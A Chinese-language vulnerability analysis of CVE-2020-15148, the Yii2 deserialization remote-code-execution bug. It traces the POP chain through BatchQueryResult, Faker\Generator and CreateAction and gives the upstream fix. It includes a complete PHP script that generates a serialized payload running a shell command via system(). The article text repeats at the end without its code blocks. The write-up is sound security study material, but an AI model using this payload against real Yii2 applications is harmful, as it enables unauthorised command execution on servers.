CVE-2020-15148 Yii2反序列化RCE POP链分析
字数 1135 2025-08-20 18:17:53

Yii2反序列化RCE漏洞分析(CVE-2020-15148)

漏洞概述

CVE-2020-15148是Yii2框架中存在的一个反序列化远程代码执行漏洞,影响Yii2版本低于2.0.38的应用程序。该漏洞通过精心构造的反序列化链(POP链)可实现任意代码执行。

影响范围

  • Yii2版本 < 2.0.38

环境搭建

  1. 下载受影响版本的Yii2(如yii-basic-app-2.0.37.tgz)
  2. 解压到Web目录
  3. 修改配置文件/config/web.php,设置cookieValidationKey字段值
  4. 添加一个存在漏洞的Action控制器/controllers/TestController.php

漏洞分析

反序列化起点

漏洞利用链从yii\db\BatchQueryResult类开始,该类没有__wakeup()方法但存在__destruct()方法:

namespace yii\db;

class BatchQueryResult {
    public function __destruct() {
        $this->reset();
    }

    public function reset() {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        // ...其他清理代码...
    }
}

关键跳板

reset()方法中$this->_dataReader->close()调用是关键,攻击者可控制_dataReader属性,使其指向一个具有__call()魔术方法的对象。

利用Faker\Generator类

Faker\Generator类的__call()方法提供了进一步利用的可能:

namespace Faker;

class Generator {
    public function format($formatter, $arguments = array()) {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function __call($method, $attributes) {
        return $this->format($method, $attributes);
    }
}

当调用不存在的方法(如close())时,会触发__call(),进而调用format()方法,最终执行call_user_func_array()

最终执行点

利用yii\rest\CreateAction::run()方法实现代码执行:

namespace yii\rest;

class CreateAction {
    public function run() {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }
        // ...其他代码...
    }
}

$this->checkAccess$this->id都可控,因此可以实现任意命令执行。

完整利用链

  1. yii\db\BatchQueryResult::__destruct()
  2. yii\db\BatchQueryResult::reset()
  3. Faker\Generator::__call()(通过close()方法调用触发)
  4. Faker\Generator::format()
  5. yii\rest\CreateAction::run()
  6. call_user_func($this->checkAccess, $this->id)(执行任意命令)

EXP示例

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}

namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

修复方案

  1. 升级Yii2到2.0.38或更高版本
  2. 官方修复方式是为BatchQueryResult类添加__wakeup()方法,禁止反序列化该类:
public function __wakeup()
{
    throw new \LogicException('BatchQueryResult cannot be serialized.');
}

总结

该漏洞利用Yii2框架中多个类的魔术方法和回调机制,通过精心构造的反序列化链实现了远程代码执行。理解这种POP链的构造方式对于防御类似漏洞具有重要意义。

Yii2反序列化RCE漏洞分析(CVE-2020-15148) 漏洞概述 CVE-2020-15148是Yii2框架中存在的一个反序列化远程代码执行漏洞,影响Yii2版本低于2.0.38的应用程序。该漏洞通过精心构造的反序列化链(POP链)可实现任意代码执行。 影响范围 Yii2版本 < 2.0.38 环境搭建 下载受影响版本的Yii2(如yii-basic-app-2.0.37.tgz) 解压到Web目录 修改配置文件 /config/web.php ,设置 cookieValidationKey 字段值 添加一个存在漏洞的Action控制器 /controllers/TestController.php 漏洞分析 反序列化起点 漏洞利用链从 yii\db\BatchQueryResult 类开始,该类没有 __wakeup() 方法但存在 __destruct() 方法: 关键跳板 reset() 方法中 $this->_dataReader->close() 调用是关键,攻击者可控制 _dataReader 属性,使其指向一个具有 __call() 魔术方法的对象。 利用Faker\Generator类 Faker\Generator 类的 __call() 方法提供了进一步利用的可能: 当调用不存在的方法(如 close() )时,会触发 __call() ,进而调用 format() 方法,最终执行 call_user_func_array() 。 最终执行点 利用 yii\rest\CreateAction::run() 方法实现代码执行: $this->checkAccess 和 $this->id 都可控,因此可以实现任意命令执行。 完整利用链 yii\db\BatchQueryResult::__destruct() yii\db\BatchQueryResult::reset() Faker\Generator::__call() (通过 close() 方法调用触发) Faker\Generator::format() yii\rest\CreateAction::run() call_user_func($this->checkAccess, $this->id) (执行任意命令) EXP示例 修复方案 升级Yii2到2.0.38或更高版本 官方修复方式是为 BatchQueryResult 类添加 __wakeup() 方法,禁止反序列化该类: 总结 该漏洞利用Yii2框架中多个类的魔术方法和回调机制,通过精心构造的反序列化链实现了远程代码执行。理解这种POP链的构造方式对于防御类似漏洞具有重要意义。